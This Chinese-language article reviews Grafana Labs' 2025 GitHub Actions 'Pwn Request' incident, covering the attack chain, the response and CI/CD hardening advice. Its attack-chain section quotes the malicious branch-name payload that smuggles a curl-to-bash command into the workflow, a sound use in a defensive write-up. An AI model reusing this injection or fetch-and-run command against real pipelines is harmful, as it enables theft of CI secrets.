Grafana 源码泄露事件复盘：CI/CD 供应链攻击的防御与响应

2025 年 4 月 26 日，Grafana Labs 披露了一起涉及 GitHub Actions Workflow 的安全事件：攻击者利用 pull_request_target 触发器的配置缺陷，通过精心构造的分支名称注入恶意代码，在 CI 环境中窃取凭证并尝试横向移动。尽管此次事件未造成生产系统入侵或客户数据泄露，但其暴露的供应链攻击面与响应机制值得每个依赖开源 CI/CD 管道的团队深入复盘。

攻击链分析：从 Pwn Request 到凭证泄露

事件的核心漏洞源于 Grafana 仓库中名为 pr-patch-check-event.yml 的 Workflow 配置。该 Workflow 使用 pull_request_target 触发器处理来自外部 Fork 的 Pull Request，这意味着任何外部贡献者提交的代码都能在具有仓库级权限的环境中执行。攻击者利用这一特性，创建了包含命令注入代码的分支名称 —— 具体而言，分支名中嵌入了 ('child_process').exec('curl$(IFS)-pathtofile$(IFS)bash') 这样的 JavaScript 代码片段。

当 Workflow 运行时，这段代码在受信任的 CI 环境中执行，调用远程脚本并暴露环境变量，包括 GRAFANA_DELIVERY_BOT_APP_ID 和 GRAFANA_DELIVERY_BOT_APP_PEM 等敏感凭证。获得初始访问权限后，攻击者利用窃取的 GitHub App Token 向 grafana/grafana 仓库推送了一个名为 hrgqavynjp 的恶意 Workflow。该 Workflow 的设计颇具针对性：它将所有可用的 GitHub Actions Secrets 序列化到文件，使用 AES-256-CBC 加密，再用硬编码的 RSA 公钥加密 AES 密钥，最终将加密后的密钥和密文作为 Artifacts 上传。

这种攻击模式属于典型的 Pwn Request 攻击 —— 攻击者无需合并代码，仅需触发 Workflow 执行即可在特权环境中运行任意代码。更隐蔽的是，攻击者随后删除了用于攻击的分支，试图掩盖痕迹。

响应机制：密钥轮换与访问审计

Grafana Labs 的应急响应展现了成熟的安全运营能力。在检测到异常活动后，团队立即采取了以下关键措施：

部署冻结与隔离：所有 GitHub Actions 被紧急禁用，自动化部署流程全面暂停。这一决策虽然导致事件公告博客的发布时间延迟（团队不得不手动发布），但有效阻止了潜在的供应链污染扩散。

凭证轮换与清理：所有暴露的凭证被立即撤销。团队使用 TruffleHog 对全部仓库进行扫描，确保无残留凭证存在于代码历史中。事后审查确认，泄露的凭证本身处于非活跃状态，且需要额外的访问权限才能被利用，这在一定程度上限制了攻击的后续影响。

完整性验证：Grafana 对事件前后所有公开和私有仓库的每一次提交进行了全面审计，确认无代码被篡改。同时，借助 Infrastructure as Code（IaC）和广泛的监控埋点，团队验证了基础设施中每个容器的真实性，确保没有运行中的实例遭到入侵。

监控与检测：Grafana Loki 被用于分析潜在的未授权用户行为，涵盖代码提交、悬空提交、GitHub Actions 执行、Vault 凭证访问、认证尝试、容器完整性、生产环境访问、数据访问以及生产配置变更等多个维度。值得一提的是，团队部署的 Canary Tokens 在攻击尝试时成功触发告警，为快速响应提供了关键时间窗口。

供应链安全加固：从事件中提炼的防护清单

Grafana 事件再次证明，CI/CD 管道已成为供应链攻击的主要目标。以下是基于此次事件及行业最佳实践提炼的防护策略：

1. 触发器安全加固

• 替换高风险触发器：尽可能用 pull_request 替代 pull_request_target，确保来自 Fork 的未信任代码不会在特权环境中执行
• 强制 Fork PR 审批：在仓库设置中启用 "Require approval for workflow runs from public forks"，确保外部贡献者的 Workflow 运行前经过人工审核
• 最小权限原则：如果必须使用 pull_request_target，严格限制其权限范围，并在隔离的运行器上执行，避免接触生产凭证

2. 凭证生命周期管理

• 短生命周期令牌：实施凭证隔离仓（Compartmentalized Vaults）和短生命周期令牌机制，即使凭证泄露，攻击窗口也被严格限制
• 定期轮换：建立密钥轮换的自动化流程，特别是用于高风险 Workflow 的凭证
• 环境密钥与强制审核：利用 GitHub Environments 存储生产密钥，并配置强制审核流程，确保密钥访问需经授权人员批准

3. 静态与动态安全检测

Grafana 在事件后引入了三款开源安全工具，值得借鉴：

• Zizmor：静态分析工具，用于检测 GitHub Actions Workflow 中的配置缺陷和潜在漏洞
• Gato-X：专门识别不安全 GitHub Actions 配置的工具，可有效发现 Pwn Request 等攻击向量
• TruffleHog：凭证扫描工具，用于检测代码仓库中硬编码或意外提交的敏感信息

此外，建议在 CI/CD 流程中集成 Semgrep 等静态分析工具，并启用运行时监控（如 StepSecurity Harden-Runner），检测异常网络调用、文件写入和进程活动。

4. 组织级安全隔离

• 仓库分离：将开源项目组织与私有仓库分离，限制攻击者在不同信任域之间的横向移动能力
• 最小权限 GitHub App：审查每个 GitHub App 的权限设置，仅授予必要的最小权限，并定期重新评估权限范围

事件启示：透明度与社区协作

Grafana Labs 在此次事件中的响应值得肯定：从 LinkedIn 上的快速披露，到详细的事后审查博客，再到赞助相关开源安全工具（Zizmor 和 Gato-X），体现了开源公司应对安全事件的透明态度。全球分布的团队架构也发挥了关键作用 —— 当攻击发生在周末时，不同时区的工程师能够迅速响应并协调处置。

对于依赖开源组件和 CI/CD 自动化的大多数技术团队而言，此次事件的核心教训在于：供应链安全不能仅依赖事后响应，而需要在设计阶段就将安全控制嵌入 CI/CD 管道的每个环节。从触发器配置到凭证管理，从静态扫描到运行时监控，每一层防护都是降低供应链攻击风险的必要投资。

参考来源

• Grafana Labs 官方事后审查报告：Grafana security update: post-incident review for GitHub workflow vulnerability and what's next
• StepSecurity 技术分析：Grafana GitHub Actions Security Incident

security